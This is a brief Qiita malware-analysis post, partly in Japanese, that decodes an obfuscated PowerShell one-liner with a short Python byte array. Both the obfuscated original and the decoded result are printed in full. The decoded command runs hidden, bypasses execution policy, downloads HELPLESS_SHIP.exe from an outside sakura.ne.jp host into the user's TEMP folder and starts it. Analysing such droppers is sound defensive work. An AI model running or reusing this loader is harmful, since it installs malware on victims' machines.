( '70-6f-77<65Q72-73V68y65I6cM6cV20-2d-45V78}65V63M75Q74M69-6fI6e}50M6fM6c}69V63y79-20}42M79Q70Q61<73V73V20y2dQ77V20M68V69}64V64}65-6eM20V2dM43-6f<6dQ6dV61y6ey64}20-22<77}67M65<74-20M68M74y74<70}3ay2fQ2f}69}6bQ31-2d-34<31I31V2dI33-37-36Q36Q30V2e<76Q73M2eI73I61M6by75-72}61-2eQ6eV65y2eI6a<70y2fI65y6d<70I69I72Q65}2f-6bM6fy62y2fQ48}45V4c<50}4c<45-53-53M5fy53I48<49M50V2e}65Q78I65-20I2dM4fI75V74}46M69Q6c-65V20I43Q3aI5c<55V73-65M72}73<5cy55}73y65}72<30<31-2e}43Q53y54-45<53Q54y5c-41-70M70M44I61y74<61Q5c-4cQ6fV63V61I6cQ5cy54M45y4dM50<5cQ48y45Q4cI50I4c<45Q53<53I5fI53y48Q49V50V2eV65<78-65y3b<20Q53y74}61-72}74Q2d}50I72}6fM63<65I73}73Q20-22V43V3a<5cy55y73y65}72V73<5c<55M73I65-72I30M31}2e}43I53-54Q45Q53Q54}5c-41}70I70}44y61y74}61I5c-4cV6fV63<61V6cy5c-54I45}4dQ50I5c-48Q45<4c}50I4c<45y53y53Q5fy53M48-49I50y2eM65y78Q65-22y22' -SPLit 'Q'-SplIt'V'-SpLiT'<' -SPlIt'I' -SplIT '-'-SplIT'M'-spLIT 'y'-sPLit '}'|FoREaCh-oBJECT { ( [cOnVERT]::toinT16( ($_.TosTriNG()), 16)-aS [chAr]) } )-joIN''| .( $Shellid[1]+$SHelLID[13]+'x')

前半の

'70-6f-77<65Q72-73V68y65I6cM6cV20-2d-45V78}65V63M75Q74M69-6fI6e}50M6fM6c}69V63y79-20}42M79Q70Q61<73V73V20y2dQ77V20M68V69}64V64}65-6eM20V2dM43-6f<6dQ6dV61y6ey64}20-22<77}67M65<74-20M68M74y74<70}3ay2fQ2f}69}6bQ31-2d-34<31I31V2dI33-37-36Q36Q30V2e<76Q73M2eI73I61M6by75-72}61-2eQ6eV65y2eI6a<70y2fI65y6d<70I69I72Q65}2f-6bM6fy62y2fQ48}45V4c<50}4c<45-53-53M5fy53I48<49M50V2e}65Q78I65-20I2dM4fI75V74}46M69Q6c-65V20I43Q3aI5c<55V73-65M72}73<5cy55}73y65}72<30<31-2e}43Q53y54-45<53Q54y5c-41-70M70M44I61y74<61Q5c-4cQ6fV63V61I6cQ5cy54M45y4dM50<5cQ48y45Q4cI50I4c<45Q53<53I5fI53y48Q49V50V2eV65<78-65y3b<20Q53y74}61-72}74Q2d}50I72}6fM63<65I73}73Q20-22V43V3a<5cy55y73y65}72V73<5c<55M73I65-72I30M31}2e}43I53-54Q45Q53Q54}5c-41}70I70}44y61y74}61I5c-4cV6fV63<61V6cy5c-54I45}4dQ50I5c-48Q45<4c}50I4c<45y53y53Q5fy53M48-49I50y2eM65y78Q65-22y22' -SPLit 'Q'-SplIt'V'-SpLiT'<' -SPlIt'I' -SplIT '-'-SplIT'M'-spLIT 'y'-sPLit '}'

を PowerShell に投げて得られた値を文字に変換する.

enc = [0x70, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x20, 0x2d, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x20, 0x42, 0x79, 0x70, 0x61, 0x73, 0x73, 0x20, 0x2d, 0x77, 0x20, 0x68, 0x69, 0x64, 0x64, 0x65, 0x6e, 0x20, 0x2d, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x20, 0x22, 0x77, 0x67, 0x65, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x69, 0x6b, 0x31, 0x2d, 0x34, 0x31, 0x31, 0x2d, 0x33, 0x37, 0x36, 0x36, 0x30, 0x2e, 0x76, 0x73, 0x2e, 0x73, 0x61, 0x6b, 0x75, 0x72, 0x61, 0x2e, 0x6e, 0x65, 0x2e, 0x6a, 0x70, 0x2f, 0x65, 0x6d, 0x70, 0x69, 0x72, 0x65, 0x2f, 0x6b, 0x6f, 0x62, 0x2f, 0x48, 0x45, 0x4c, 0x50, 0x4c, 0x45, 0x53, 0x53, 0x5f, 0x53, 0x48, 0x49, 0x50, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2d, 0x4f, 0x75, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x20, 0x43, 0x3a, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x73, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x30, 0x31, 0x2e, 0x43, 0x53, 0x54, 0x45, 0x53, 0x54, 0x5c, 0x41, 0x70, 0x70, 0x44, 0x61, 0x74, 0x61, 0x5c, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x5c, 0x54, 0x45, 0x4d, 0x50, 0x5c, 0x48, 0x45, 0x4c, 0x50, 0x4c, 0x45, 0x53, 0x53, 0x5f, 0x53, 0x48, 0x49, 0x50, 0x2e, 0x65, 0x78, 0x65, 0x3b, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x2d, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x20, 0x22, 0x43, 0x3a, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x73, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x30, 0x31, 0x2e, 0x43, 0x53, 0x54, 0x45, 0x53, 0x54, 0x5c, 0x41, 0x70, 0x70, 0x44, 0x61, 0x74, 0x61, 0x5c, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x5c, 0x54, 0x45, 0x4d, 0x50, 0x5c, 0x48, 0x45, 0x4c, 0x50, 0x4c, 0x45, 0x53, 0x53, 0x5f, 0x53, 0x48, 0x49, 0x50, 0x2e, 0x65, 0x78, 0x65, 0x22, 0x22]

for e in enc:
    print(chr(e), end='')
powershell -ExecutionPolicy Bypass -w hidden -Command "wget http://ik1-411-37660.vs.sakura.ne.jp/empire/kob/HELPLESS_SHIP.exe -OutFile C:\Users\User01.CSTEST\AppData\Local\TEMP\HELPLESS_SHIP.exe; Start-Process "C:\Users\User01.CSTEST\AppData\Local\TEMP\HELPLESS_SHIP.exe""
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?